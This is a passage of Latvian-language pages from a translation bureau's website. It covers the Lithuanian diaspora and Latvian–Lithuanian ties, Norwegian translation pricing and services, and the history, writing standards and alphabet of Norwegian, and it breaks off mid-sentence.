lietuviešu. Lietuviešu kopienas Ziemeļrietumu Eiropā ( Apvienotā Karaliste, Īrija, Zviedrija, Norvēģija un Islande) ir ļoti jaunas un sāka veidoties pēc Lietuvas neatkarības atjaunošanas 1990. gadā; šī emigrācija pastiprinājās pēc tam, kad Lietuva 2004. gadā kļuva par Eiropas Savienības daļu. Īrijas Republikā, iespējams, ir vislielākā lietuviešu koncentrācija attiecībā pret tās kopējo iedzīvotāju skaitu Rietumeiropā; tiek lēsts, ka 45 000 lietuviešu (no kuriem aptuveni puse ir reģistrēti) veido vairāk nekā 1% no Īrijas kopējā iedzīvotāju skaita. Norvēģijā dzīvo ap 47 000 lietuvieši, un tā īsā laikā ir kļuvusi par otro lielāko etnisko minoritāti valstī, kas veido 0,85% no kopējā Norvēģijas iedzīvotāju skaita un 4,81% no visiem ārvalstu iedzīvotājiem Norvēģijā. Islandē ir aptuveni 3500 lietuviešu, kas veido aptuveni 1% no kopējā iedzīvotāju skaita. Lietuviešu diaspora Vācijā sāka veidoties pēc Otrā pasaules kara. 1950. gadā viņi nodibināja lietuviešu vidusskolu Dīpholcā, kas bija privātskola lietuviešu bēgļu bērniem. Gadu desmitiem Lietuviešu vidusskola bija vienīgā pilna laika vidusskola ārpus Austrumu bloka, kas piedāvāja Lietuvas vēstures, valodas un kultūras kursus. 1954. gadā lietuviešu kopiena iegādājās Rennhofas muižu ar tās divpadsmit akru parku Lampertheimas-Hītenfeldes pilsētā. Skola tika pārcelta uz turieni un pastāv joprojām - https://www. gimnazija. de/en. Skolu šobrīd dēvē par 16. februāra ģimnāziju. Austrālijā arī pastāv lietuviešu kopienas; tomēr lielā attāluma no Eiropas dēļ emigrācija uz turieni bija niecīga. LIETUVIEŠU VALODA BIZNESĀ Lietuviešu valoda kā biznesa valoda pamatā tiek izmantota tikai Lietuvas teritorijā. Biznesa attiecību veidošanā ar Lietuvas uzņēmējiem, būtu vērtīgi zināt kādas pieklājības, vienkāršas sarunvalodas frāzes lietuviešu valodā. Lietuviešu uzņēmēji to noteikti novērtēs, jo valoda ir ikviena lietuvieša lepnums. Biznesa kontaktu dibināšanā lietuviešu uzņēmēji galvenokārt izmanto krievu, poļu un angļu valodu. Galvenie sadarbības partneri ir ES dalībvalstis, uz kurām tiek eksportētas auto detaļas, graudaugu produkti. Lietuvieši ir daudzvalodīgi, bieži kā otrās valodas runā krievu, angļu, franču un vācu valodu. Lietuva ir ierindota to ES valstu piecniekā, kurās ir visvairāk cilvēku, kuri pārvalda vismaz divas svešvalodas. 90% iedzīvotāju spēj sazināties vismaz vienā svešvalodā un aptuveni 50% lietuviešu prot runāt divās svešvalodās. Pēc pētnieku domām, Lietuvas uzņēmumi biežāk sadarbojas ar ārzemniekiem, kurus viņi nepazīst, nekā ar lietuviešiem, kurus viņi nepazīst. Galvenie valsts tirdzniecības partneri ir Krievija, Vācija, Latvija, Igaunija, Polija, Nīderlande un Baltkrievija. Minerālvielas, ķīmiskās vielas, tekstilizstrādājumi un apģērbi, mašīnas un iekārtas, pārtikas preces, koksne un koka izstrādājumi un plastmasa veido vairāk nekā 60% no eksporta. Importētās preces galvenokārt ir minerālvielas, transporta aprīkojums, ķīmiskās vielas, tekstilizstrādājumi un apģērbi. LIETUVAS UN LATVIJAS DIVPUSĒJĀS ATTIECĪBAS Latvijā uz doto brīdi varētu dzīvot aptuveni 27 000 lietuvieši, kas veido piekto lielāko Latvijas mazākumtautību grupu. Neatkarīgi no tautības Latvijā pastāvīgi dzīvo aptuveni pieci tūkstoši Lietuvas Republikas pilsoņu. Visvairāk lietuviešu dzīvo Rīgā un Lietuvas pierobežā ─ Liepājā un Liepājas reģionā, Bauskas novadā, Saldus novadā, Jelgavā un Jelgavas novadā, Dobeles novadā, Daugavpilī un Daugavpils novadā. Pirmie lietuvieši apmetās mūsdienu Latvijas teritorijā 7. ─12. gadsimtā. 19. gadsimta sākumā līdz 20. gadsimta beigām, attīstoties rūpniecībai, ievērojami palielinājās lietuviešu imigrācija uz Latviju. Lietuvieši darbu un mācības meklēt devās uz Rīgu, Liepāju, Bausku, Jelgavu, Ventspili. Daudzi lietuvieši strādāja Rīgas vagonbūves rūpnīcā Fēnikss, gumijas ražošanas rūpnīcā Provodņiks, kokzāģētavās, veļas vērptuvēs, alus darītavās, mēbeļu darbnīcās, tramvaju depo, ostās un citviet. Pēc neatkarīgo Lietuvas un Latvijas valstu nodibināšanas 1918. gadā daļa lietuviešu atgriezās Lietuvā. Lai būtu tuvāk Lietuvai, Latvijā (Daugavpils, Jelgava, Liepāja, Rīga, to apkārtnē un citur) 20. gadsimta 60. un 70. gados apmetās daudzi bijušie politieslodzītie un trimdā esošie lietuvieši, kuriem Lietuvas padomju varas iestādes nebija ļāvušas atgriezties dzimtenē. No 1988. ─1995. gadam Latvijas lietuvieši aktīvi piedalījās Latvijas Tautas frontes darbībā. Latviju un Lietuvu saista cieša sadarbība, kopīgas intereses Baltijas jūras reģionā un stratēģiska partnerība Eiropas Savienībā un NATO. Valstu politiskais dialogs ir regulārs un aktīvs visdažādākajos līmeņos. Sekmīga praktiskā sadarbība izveidojusies starp valstu parlamentiem, nozaru ministrijām, pašvaldībām un nevalstiskajām organizācijām. Latvijas un Lietuvas vēsturiskais mantojums un iedzīvotāju ciešie personiskie kontakti rada vidi sadarbībai nevalstiskā līmenī, ļauj īstenot pārrobežu projektus un veicina sadarbību kultūras, izglītības, tūrisma un citās jomās. Lietuva ir viens no nozīmīgākajiem Latvijas ārējās tirdzniecības partneriem un abu valstu starpā pastāv stabilas ekonomiskās attiecības. Latvijas un Lietuvas sadarbība izglītības jomā notiek gan pamatojoties uz trīspusējiem Baltijas valstu sadarbības līgumiem, gan Baltijas – Ziemeļvalstu, Baltijas jūras reģiona valstu, Eiropas Padomes un ES izglītības programmu un projektu ietvaros. Pamatojoties uz starpministriju līgumu par studentu, pētnieku un mācībspēku apmaiņu, notiek aktīva studentu, doktorantu, pasniedzēju un pētnieku apmaiņa. Latvijas augstākās izglītības iestādēm ir noslēgti sadarbības līgumi ar Viļņas Universitāti, Klaipēdas Universitāti, Vītauta Dižā universitāti, Mikola Romera universitāti, Kauņas Medicīnas universitāti, Viļņas Tiesību universitāti, Lietuvas Mūzikas un teātra akadēmiju, Viļņas Mākslas akadēmiju, Lietuvas Izglītības zinātņu universitāti u. c. Kopš 1991. gada Rīgā darbojas Rīgas Lietuviešu vidusskola – https://www. rlvs. lv. Latvijas Nacionālajai operai norit aktīva sadarbība ar Lietuvas Nacionālo operu, notiek mākslinieku, diriģentu apmaiņa. Intensīvi sadarbojas abu valstu mākslas muzeji, nacionālās bibliotēkas un arhīvi. Latvijas Nacionālajam mākslas muzejam ir izveidojusies veiksmīga sadarbība ar Lietuvas Nacionālo mākslas muzeju Viļņā. Dažās Latvijas augstskolās ir iespējams apgūt lietuviešu valodu gan kā papildus kursu, gan kā pamatstudijas. Papildu informācija par mācībām Rīgas Stradiņa universitātē lasāma šeit, bet Latvijas Universitātē šeit. Latvijā par Lietuvas pilsoņiem rūpējas Lietuvas vēstniecība Latvijā, kura atrodas Rīgā – https://lv. mfa. lt. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM LIETUVIEŠU VALODĀ: dokumentu tulkošana lietuviešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; lietuviešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi lietuviešu valodā; individuālie lietuviešu valodas kursi. LIETUVIEŠU VALODAS KOMBINĀCIJAS: latviešu–lietuviešu; lietuviešu–latviešu; igauņu–lietuviešu; lietuviešu–igauņu; angļu–lietuviešu; lietuviešu–angļu; krievu–lietuviešu; lietuviešu–krievu; poļu–lietuviešu; lietuviešu–poļu; ukraiņu–lietuviešu; lietuviešu–ukraiņu; čehu–lietuviešu; lietuviešu–čehu; vācu–lietuviešu; lietuviešu–vācu; spāņu–lietuviešu; lietuviešu–spāņu; franču–lietuviešu; lietuviešu–franču; itāļu–lietuviešu; lietuviešu–itāļu; dāņu–lietuviešu; lietuviešu–dāņu; zviedru–lietuviešu; lietuviešu–zviedru; norvēģu–lietuviešu; lietuviešu–norvēģu; somu–lietuviešu; lietuviešu–somu u. c. --- > Dažādu dokumentu un pasākumu tulkojumi norvēģu valodā. ISO sertificēts tulkošanas birojs, Saņemiet cenas aprēķinu bez maksas! - Published: 2017-09-29 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/ - Translation Priorities: Optional TULKOJUMI NORVĒĢU VALODĀ / TULKOT NORVĒĢU VALODĀ CIK MAKSĀ TULKOŠANA NORVĒĢU VALODĀ? Tulkojumu cena no/uz norvēģu valodu tiek noteikta katram darba uzdevumam individuāli. Cenu veido vairākas būtiskās komponentes saskaņā ar tulkošanas biroja Skrivanek Baltic spēkā esošo cenrādi. Mutisko secīgo vai sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, piemēram, vai pasākumā ir nepieciešams latviešu norvēģu tulks, bet varbūt norvēģu angļu tulks. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz norvēģu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Tulkošanas projektu vadītāji pasūtītājam sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta uzsākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek tulkošanas biroja spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM NORVĒĢU VALODĀ: dažādu dokumentu tulkošana norvēģu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums norvēģu valodā; mājaslapu tulkošana; norvēģu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi norvēģu valodā; norvēģu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus norvēģu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI NORVĒĢU VALODĀ / TULKOT NORVĒĢU VALODĀ CIK MAKSĀ TULKOŠANA NORVĒĢU VALODĀ? Tulkojumu cena no/uz norvēģu valodu tiek noteikta katram darba uzdevumam individuāli. Cenu veido vairākas būtiskās komponentes saskaņā ar tulkošanas biroja Skrivanek Baltic spēkā esošo cenrādi. Mutisko secīgo vai sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, valodu kombinācija, piemēram, vai pasākumā ir nepieciešams latviešu norvēģu tulks, bet varbūt norvēģu angļu tulks. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz norvēģu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Tulkošanas projektu vadītāji pasūtītājam sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta uzsākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek tulkošanas biroja spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM NORVĒĢU VALODĀ: dažādu dokumentu tulkošana norvēģu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums norvēģu valodā; mājaslapu tulkošana; norvēģu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi norvēģu valodā; norvēģu valodas kursi. Meklējiet valodu risinājumus norvēģu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR NORVĒĢU VALODU Norvēģu valoda ir indoeiropiešu saimes ziemeļģermāņu valoda, kurā galvenokārt runā \ norvēģi. Tā ir dzimtā valoda aptuveni 5 miljoniem cilvēku, no kuriem lielākā daļa dzīvo Norvēģijā. Norvēģu valoda ir Norvēģijas Karalistes oficiālā valoda (līdzās Norvēģijas pirmiedzīvotāju sāmu valodām, kurām ir oficiālās valodas statuss atsevišķās komūnās Ziemeļnorvēģijas un Trendelāgas reģionos. Norvēģu valodu lieto valsts un pašvaldību darbā, plašsaziņas līdzekļos, izglītībā, kultūrā un zinātnē. Pastāv divas oficiālās norvēģu valodas rakstu valodas — būkmols (bokmål), kura pamatā ir dāņu valodas leksika un gramatika, bet norvēģu valodas fonētika, un jaunnorvēģu valoda (nynorsk), kuru 19. gadsimta vidū no dažādiem norvēģu valodas dialektiem izveidojis valodnieks Ivars Osens. Salīdzinot ar citām valstīm, Norvēģijā izloksnēm ir augsts prestižs sabiedrībā. Citās valstīs izloksnes zūd, vai vismaz to lietošanas jomas ir stipri ierobežotas, turpretim Norvēģijā pat Stūrtinga deputāti, ministri, bīskapi, mācībspēki augstskolās runā savās dzimtajās izloksnēs, arī tādās, kurām agrāk bija zems statuss. Šo iemeslu dēļ Norvēģija pēdējos gados ir ieguvusi atzinību par savu iecietību pret valodas paveidiem, kas mazina nevajadzīgus sociālus un ģeogrāfiskus šķēršļus sabiedrībā. Katram rakstu paveidam ir savas normas, runātā valoda netiek normēta. Izloksnes ir būtiska norvēģu nacionālās un kultūras identitātes daļa. Vairāk izplatīts ir būkmols, bet jaunnorvēģu valodu lieto 10–13 % norvēģu. Jaunnorvēģu valodas runātāju skaits nav liels, tomēr, ņemot vērā izlokšņu augsto prestižu sabiedrībā un kultūrā, samērā stabils. Tajā runā galvenokārt Rietumnorvēģijā un Austrumnorvēģijas kalnu rajonos. Mācības šajā valodā izvēlējušies apgūt ap 12 % skolēnu (2018. gada dati), apmēram 10‒12 % tajā runā ikdienā. No 356 pašvaldībām 90 pašvaldības dokumentācijā lieto jaunnorvēģu valodu, 148 ir neitrālas, kas praksē nozīmē būkmola lietojumu (2020. gada dati). Skolēniem jāapgūst un jākārto eksāmens abās rakstu valodās. Viņi var izvēlēties savu apmācības pamata rakstu valodu. Norvēģu valoda ir attīstījusies no senskandināvu valodas (m. ē. 2. –5. gs. ), kurā lietoja rūnu rakstu un kurā runāja Skandināvijas teritorijā dzīvojošie cilvēki. Galvenās liecības ‒ rūnu rakstu pieminekļi ‒ datējami ar 2. gadsimtu. Valodas pārmaiņas (6. –8. gs. ) izraisīja trīs atzarojumu rašanos. Vikingu periodā (9. ‒14. gs. ), sadaloties senskandināvu valodai, radās sendāņu, sennorvēģu un senzviedru valoda. Šajās valodās runāja daudz lielākā areālā nekā mūsdienās. Sākot ar 9. gadsimta vidu, Islandē un Fēru salās ieceļojošie norvēģu vikingi, galvenokārt no valsts rietumu daļas, kolonizācijas rezultātā ieviesa savu sennorvēģu valodu, no kuras vēlāk izveidojās islandiešu un fēru valoda. Sennorvēģu valodā runāja gan Norvēģijā (no 8. gs. ), gan Islandē (no 9. gs. līdz 14. gs. vidum). Mūsdienās, pateicoties islandiešu valodas relatīvajam nemainīgumam, islandieši spēj lasīt tekstus sennorvēģu valodā. Līdz ar kristietības ienākšanu Norvēģijā 11. gadsimtā sennorvēģu valodā sāka lietot latīņu alfabētu, kas pakāpeniski aizstāja rūnu rakstu. Galvenās liecības ‒ ar roku rakstīti reliģiska satura teksti un likumu kodeksi ‒ datējami ar 12. gadsimtu, skaldu dzeja un Islandē radītie galvenie sennorvēģu daiļdarbi – sāgas un edas ‒ pierakstīti 13. gadsimtā. Kad Norvēģija vēlīnajos viduslaikos kļuva par Dānijas sastāvdaļu, norvēģu rakstu valodu pakāpeniski pārstāja lietot. Lai gan šajā laikposmā vairs nebija norvēģu rakstu valodas, norvēģi runāja valodā, kas būtiski neatšķīrās no mūsdienu norvēģu izloksnēm. Norvēģu runātā valoda turpināja pastāvēt un attīstīties. 18. gadsimta beigās norvēģu inteliģences vidū auga nacionālā pašapziņa. Juku laikos pēc Napoleona kara 1814. gada 17. maijā Eidsvollā tika pieņemta Norvēģijas konstitūcija. Tanī pašā gadā Norvēģija kļuva par autonomu valsti personālūnijā ar Zviedriju. Lai gan dāņu valoda ir radniecīga un līdzīga norvēģu valodai, jaunajā politiskajā situācijā tā bija kļuvusi par ārzemju valodu. Izveidojās trīs dažādi uzskati: 1) nepieciešams norvēģizēt dāņu rakstu valodu; 2) vēlams paturēt dāņu rakstu valodu, lai nepārrautu kultūras sakarus ar Dāniju; 3) jāizveido jauna rakstu valoda, pamatojoties uz kādas senas izloksnes. Otrais uzskats neguva sevišķi lielu atbalstu, bet no pirmā uzskata izveidojās būkmols, un no trešā – jaunnorvēģu valoda. JAUNNORVĒĢU VALODAS IZVEIDE Ivars Osens (Ivar Aasen (1813. –1896. )) izveidoja jaunnorvēģu valodu, pamatojoties uz norvēģu izloksnēm. Osenam piešķīra ceļojuma stipendiju, kuru viņš izmantoja triju gadu laikā, apbraukādams gandrīz visu Norvēģiju un krādams valodas materiālus. Pamatojoties uz šiem materiāliem, viņš 1848. gadā izdeva norvēģu valodas gramatiku un 1850. gadā vārdnīcu. Izmantojot dialektu materiālu, viņš vēlējās izveidot rakstu valodas normu. Tā parādās iepriekšminēto darbu jaunizdevumos 1864. gadā gramatikā un 1873. gadā vārdnīcā. Galvenais rakstu valodas izveides princips bija izlokšņu salīdzināšana. Šaubu gadījumos viņš izvēlējās to formu, kas tuvāka sennorvēģu valodai. Ideja par kādas jaunas rakstu valodas ieviešanu var likties visnotaļ nereālistiska. Iemesls, kāpēc jaunnorvēģu valoda tomēr kļuva par dzīvu rakstu valodu, nevis par kādu neveiksmīgu lingvistisku eksperimentu, ir tas, ka to sāka izmantot presē, literatūrā un teātros. Jaunnorvēģu valodas apgādu Det Norske Samlaget dibināja 1868. gadā, vēl tagad tas ir viens no lielākajiem apgādiem. Visas grāmatas, ko tas izdod, ir jaunnorvēģu valodā. Šī jaunā valoda nebija domāta tikai „savējiem”, bet visai sabiedrībai, un tas, šķiet, bija svarīgs faktors jaunnorvēģu valodas akceptēšanā un cienīšanā. BŪKMOLS Būkmols (norvēģu: bokmål — ‘grāmatu valoda’), līdz 1929. gadam pazīstams kā riksmols, ir viena no divām norvēģu standarta valodām. Tāpat kā otra standarta valoda (jaunnorvēģu valoda), tā būtībā ir rakstu valoda, jo lielākā daļa norvēģu runā dialektos, kuri dažādās pakāpēs atšķiras no rakstītās valodas. Būkmols ir tuvs dāņu valodai, no kuras tas 19. gadsimtā daļēji aizgūts. Būkmols no divām norvēģu rakstībām ir visplašāk izmantotā rakstība valstī. Būkmolu lieto aptuveni 85-90 % Norvēģijas iedzīvotāju. Izņēmums ir Rietumnorvēģija, kur vairākums izmanto jaunnorvēģu valodu. Arī ārzemju studentiem visbiežāk māca būkmolu. Vecais rakstības standarts, pazīstams kā riksmols, vairs nav oficiālas valodas statusā, bet pagātnē to plaši izmantoja laikraksti un rakstnieki. Dānijas-Norvēģijas ūnijas laikā (1536. –1814. ) Norvēģijā oficiālā valoda bija dāņu valoda. Arī Norvēģijas pilsētu, sevišķi galvaspilsētas Kristiānijas (tagad Oslo), intelektuālā elite šajā laikā izmantoja dāņu rakstību. 1899. gadā radās riksmola kustība, kuras rezultātā 1907. gadā tika nodibināta Riksmola biedrība. Riksmols bija pielāgota dāņu rakstība. 1907. un 1917. gadu reformas formalizēja riksmolu un 1907. gads tiek uzskatīts par riksmola atdalīšanās no dāņu valodas gadu. Nosaukums būkmols riksmola vietā tika oficiāli pieņemts 1929. gadā. 1917. un 1938. gadu valodas reformas pavirzīja būkmolu tuvāk jaunnorvēģu valodai ar nolūku kādreiz nākotnē apvienot abus valodu veidus kopnorvēģu (norvēģu: samnorsk) valodā. Pēc Otrā pasaules kara situācija mainījās, būkmola kustībai sākot uzstāties pret konverģenci, un 1981. gada reforma padarīja būkmolu konservatīvāku. NORVĒĢU ALFABĒTS Dāņu un norvēģu alfabēts, ir balstīts uz latīņu alfabētu, un kopš 1917. gada (norvēģu valodā) un 1948. gada (dāņu valodā) sastāv no šādiem 29 burtiem — visi 23 latīņu burti, kā arī J, W, U, Æ, Ø un Å. Abos valodas paveidos ir 35 fonēmas: deviņi patskaņi /i, e, æ, a, å, o, u, y, ø/; seši divskaņi /au, ei, øy/ (senskandināvu), /oi, ui/ (aizguvumos), /ai/; 20 līdzskaņi /b, d, f, g, h, j, k, kj, l, m, n, ng, p, r, s, sj, t, v/. Visi patskaņi var būt gan īsi, gan gari. Burti C, Q, W, X un Z netiek izmantoti vietējo vārdu pareizrakstībā. Tos reti izmanto norvēģu valodā, kur aizņēmuma vārdu ortogrāfija parasti ir pielāgota dzimtajai skaņu sistēmai. Un otrādi, dāņu valodā ir lielāka tendence saglabāt aizgūto vārdu oriģinālo rakstību. Jo īpaši „c”, kas apzīmē /s/, dāņu valodā gandrīz nekad netiek normalizēts uz „s”, kā tas visbiežāk notiek norvēģu valodā. Daudzi vārdi, kas sākotnēji atvasināti no latīņu saknēm, saglabā burtu „c” dāņu rakstībā, piemēram, norvēģu sentrum pret dāņu centrum. Rakstībā ievēro fonētisko un etimoloģisko principu un lieto latīņu alfabētu, kas papildināts ar trīs patskaņiem æ, ø, å. Burts å ortogrāfijā ieviests 1917. gadā pareizrakstības reformu rezultātā, aizstājot burtkopu aa. Jaunais burts nāk no zviedru alfabēta, kur tas ir oficiāli izmantots kopš 16. gadsimta. Mūsdienās šī burtkopa saglabājusies personvārdos. Atšķirība starp dāņu-norvēģu un zviedru alfabētu ir tāda, ka zviedru valodā Æ vietā tiek izmantots variants Ä un Ø vietā variants Ö, līdzīgi kā vācu valodā. Arī šo trīs burtu salīdzināšanas secība zviedru valodā ir atšķirīga: Å, Ä, Ö. Æ un Ä ir sakārtoti kopā visās skandināvu valodās, kā arī somu valodā, tāpat arī Ø un Ö. Pašreizējā dāņu un norvēģu valodā burts W tiek atpazīts kā atsevišķs burts no V. CIK SAREŽĢĪTA IR NORVĒĢU VALODA? Svešvalodas apgūšana vienmēr būs laikietilpīgs process, jo mēs ne tikai papildinām savas zināšanas, bet iegūstam jaunu informāciju par kādu tautu, valsti, viņu kultūru un tradīcijām. Tāpat kā zviedru un daudzas citas skandināvu valodas, arī norvēģu valoda ir viena no visvieglāk apgūstamajām valodām angliski runājošajiem. Tāpat kā zviedru un holandiešu valodā, arī norvēģu valodā runājošie bieži pārvalda angļu valodu, un dažreiz var būt grūti praktizēt. Norvēģu valodai ir daudz radniecīgu vārdu un gramatikas iezīmju ar angļu valodu, tāpēc pamatus nebūs grūti apgūt. Vārdu secība teikumā neatšķiras no angļu valodas teikumu uzbūves. Ja valodas interesents runā holandiešu vai vācu valodā, būs diezgan viegli iemācīties norvēģu valodu. Iemesls ir tas, ka norvēģu valoda ir ziemeļģermāņu valoda, un tās gramatiku var uzskatīt par vācu valodas gramatikas vienkāršotu versiju. Holandiešu valoda rakstiskā veidā ir ļoti tuva norvēģu valodai, taču runātās valodas ir ļoti atšķirīgas. Vislielākais pārbaudījums norvēģu valodas apguvē varētu būt uzsvars. Nepareizi lietojot uzsvaru vārda izrunā, var gadīties tā, ka tiek pateikts vārds ar pavisam citu nozīmi. Ir daži burti, kuri tiek izrunāti dažādi, atkarībā no tā, kur tie atrodas vārdā. Norvēģu valodai ir daudz radniecīgu vārdu rakstības ziņā ar angļu valodu, bet patiesībā šiem vārdiem ir pavisam cita nozīme, piemēram: angliski gift – dāvana, norvēģiski gift – precējies, inde; angliski and – un, norvēģiski and – pīle. Pēc Ārlietu dienesta institūta datiem, ir nepieciešamas aptuveni 575 stundu nodarbības (jeb 23 nedēļas), lai varētu diezgan brīvi runāt norvēģu valodā. Ja rodas iespēja atrasties vidē un dzīvot tur, kur norvēģu valoda ir dzimtā valoda, tad var brīvi sarunāties norvēģu valodā jau pēc viena gada. Bet viss, protams, ir atkarīgs no paša vēlmes, apņēmības, valodu izpratnes un laika resursu izmantošanas. KUR UN CIK DAUDZ RUNĀ NORVĒĢU VALODĀ? Vienīgā valsts, kurā norvēģu valoda ir oficiālā valoda, bez pārsteigumiem ir Norvēģija. Norvēģijā ir arī vēl viena oficiālā valoda − sāmu, kurā runā Ziemeļnorvēģijas sāmi. Taču sāmu valoda nav ziemeļģermāņu valoda, tāpēc tā nav abpusēji saprotama ar norvēģu valodu. Gandrīz visi Norvēģijas iedzīvotāji, kuru skaits pārsniedz 5 miljonus, runā norvēģiski. Vienīgā cita valoda, kas ir plaši pārstāvēta valstī, ir angļu valoda, kurā runā aptuveni 4 300 000 cilvēku. Gandrīz visi tie, kas Norvēģijā runā angliski, to apguva kā otro valodu. Citās valstīs, izņemot Norvēģiju, nav daudz norvēģu valodas runātāju. Spānija ir viena no lielākajām kopienām ar aptuveni 50 000 norvēģu, no kuriem daudzi pārcēlās uz turieni pēc aiziešanas pensijā. Amerikas Savienotajās Valstīs dzīvo aptuveni 40 000 norvēģu valodā runājošo, un norvēģus var atrast arī vietām visā Eiropā. Zviedrijā un Dānijā ir pietiekami daudz norvēģu valodas runātāju, jo norvēģu, zviedru un dāņu valodu savstarpējā saprotamība ļauj viegli apgūt šīs valodas. NORVĒĢU VALODAS TULKS UN TULKOTĀJS Skrivanek norvēģu valodas tulku un tulkotāju komanda strādā gan ar tipveida, gan sarežģītiem tehniska vai medicīniska satura dokumentu tulkojumiem, kā arī parūpēsies par notariāli apliecinātiem tulkojumiem uz vai no norvēģu valodu. Nodrošinām arī tekstu norvēģu valodā korektūru un stilistisko uzlabošanu. Protams, valodas speciālisti var sniegt informāciju par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Visi tulkotāji, tulki, korektori un redaktori ir parakstījuši konfidencialitātes līgumu, tādēļ jūs droši varat uzticēt mums savu dokumentu oriģinālus – par to drošību ir padomāts! Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz norvēģu valodu – mājaslapu satura tulkojumus un adaptāciju, e-komercijas tekstu, reklāmas saukļu, digitālā mārketinga tekstu, sadarbības līgumu, uzņēmējdarbības dokumentācijas tulkojumus, tehnisko tekstu tulkošanu. Veicam arī secīgo un sinhrono tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos. Piedāvājam arī mutisko secīgo un sinhrono tulkošanu norvēģu valodā tiešsaistē − Zoom vai jebkurā citā platformā. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. dokumentu tulkojumus. NORVĒĢU VALODA BIZNESĀ Norvēģija ir viena no bagātākajām valstīm pasaulē un tajā pašā laikā 